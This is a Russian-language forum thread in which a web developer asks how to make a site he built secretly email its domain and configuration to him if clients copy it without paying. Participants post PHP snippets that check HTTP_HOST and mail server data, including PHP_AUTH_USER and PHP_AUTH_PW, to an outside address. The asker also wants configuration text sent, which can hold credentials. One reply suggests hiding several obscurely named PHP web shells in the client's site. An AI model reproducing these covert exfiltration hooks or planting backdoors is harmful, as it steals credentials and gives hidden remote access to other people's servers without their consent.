Стучалка на сайт, домен + что в конфине на мыло

DIA123

Создатель
Регистрация
30 Дек 2011
Сообщения
10
Реакции
4
Кто нибудь знает как делается это ?
При несовпадении домена, что бы отсылалось письмо с доменом и текстом конфига на мыло
 
Кто нибудь знает как делается это ?
При несовпадении домена, что бы отсылалось письмо с доменом и текстом конфига на мыло
Есть разные способы.. Обычно это делается посредством php скриптов, которые могут быть кодированы
 
Есть разные способы.. Обычно это делается посредством php скриптов, которые могут быть кодированы
Кодировать не особо требуется,
есть вариант но не работает и без конфига в нете нашел. может есть уже что то из готового или что то из чего слепить подтолкните

Код:
function verification(){
global $conf;   
if($_SERVER['HTTP_HOST']!="www.suite.ru"){
    $message=$_SERVER['HTTP_HOST'];
    $subject="установили на сайт";
    $mheader = "MIME-Version: 1.0\n"
    ."Content-Type: text/html; charset="._CHARSET."\n"
    ."Content-Transfer-Encoding: 8bit\n"
    ."Reply-To: \"$smail\" <$smail>\n"
    ."From: \"$smail\" <$smail>\n"
    ."Return-Path: <$smail>\n"
    ."X-Priority: $pr\n"
    ."X-Mailer: CMS Mailer\n";
mail("name@email.ru", $subject, $message, $mheader);

}

}
 
Давайте вначале разберемся что вам конкретно нужно сделать. Я так понял у вас есть модуль который при не легальном использовании, будет вам сигнализировать на почту?
 
Сделал сайт, и просто эти заказчики могут скопировать базу сайта и не заплатить в полной мере, вот защитка от этого, люди в PHP не особо шарят так что кодировать не особо требуется, можно конечно для опыты + надежность что не удалят
 
Сделал сайт, и просто эти заказчики могут скопировать базу сайта и не заплатить в полной мере, вот защитка от этого, люди в PHP не особо шарят так что кодировать не особо требуется, можно конечно для опыты + надежность что не удалят
в таком случае оставь ещё пхп шел (несколько в разных местах), назви его както витиевато, тоже полезным будет
 
Ну где то оставьте просто условие на совпадения домена с тем что вам надо
типа
Код:
if ($_SERVER['HTTP_HOST'] != "www.мой_супер _сайт"){
mail() // отправка почты
}
Конечно это самое элементарное. Но если владелец сайта не понимает ничего в коде, то можно использовать.
 
Ну где то оставьте просто условие на совпадения домена с тем что вам надо
типа
Код:
if ($_SERVER['HTTP_HOST'] != "www.мой_супер _сайт"){
mail() // отправка почты
}
Конечно это самое элементарное. Но если владелец сайта не понимает ничего в коде, то можно использовать.



Почему не отсылает на почту? вообще не почте нету писем(((!
PHP:
<?php




if ($_SERVER['HTTP_HOST'] != "www.sitename.ru") {

$indicesServer = array('PHP_SELF',
'argv',
'argc',
'GATEWAY_INTERFACE',
'SERVER_ADDR',
'SERVER_NAME',
'SERVER_SOFTWARE',
'SERVER_PROTOCOL',
'REQUEST_METHOD',
'REQUEST_TIME',
'REQUEST_TIME_FLOAT',
'QUERY_STRING',
'DOCUMENT_ROOT',
'HTTP_ACCEPT',
'HTTP_ACCEPT_CHARSET',
'HTTP_ACCEPT_ENCODING',
'HTTP_ACCEPT_LANGUAGE',
'HTTP_CONNECTION',
'HTTP_HOST',
'HTTP_REFERER',
'HTTP_USER_AGENT',
'HTTPS',
'REMOTE_ADDR',
'REMOTE_HOST',
'REMOTE_PORT',
'REMOTE_USER',
'REDIRECT_REMOTE_USER',
'SCRIPT_FILENAME',
'SERVER_ADMIN',
'SERVER_PORT',
'SERVER_SIGNATURE',
'PATH_TRANSLATED',
'SCRIPT_NAME',
'REQUEST_URI',
'PHP_AUTH_DIGEST',
'PHP_AUTH_USER',
'PHP_AUTH_PW',
'AUTH_TYPE',
'PATH_INFO',
'ORIG_PATH_INFO') ;





    $to = 'user@mail.ru'; // куда должно приходить письмо
    $from='info@sitename.ru'; // от какого адресата
    $subject = 'Копия на '.$_SERVER['HTTP_HOST'].'';
    $message = "<h1>Сайт спиздили!</h1>";
  
    foreach ($indicesServer as $arg) {
    if (isset($_SERVER[$arg])) {
       $message .= '<p><span>'.$arg.':</span> <span>' . $_SERVER[$arg] . '</span></p>' ;
    }
    else {
        $message .= '<p><span>'.$arg.':</span> <span> - </span></p>' ;
    }
    }

  

    $headers  = "Content-type: text/plain; charset=\"utf-8\" \r\n";
    $headers .= "From: " . $from . "\r\n";
    mail($to, '=?UTF-8?B?'.base64_encode($subject).'?=', $message, $headers);
    //die('Спасибо! Ваше письмо отправлено.');

}
 
попробуйте этот пример, достал со старого сайта, там немного нужно одуплить, что передавать, но там не сложно. попробуте с какимто известным шлюзом отправки мыла поиграться
 

Вложения

  • email_example.zip
    31,8 KB · Просмотры: 18
Назад
Сверху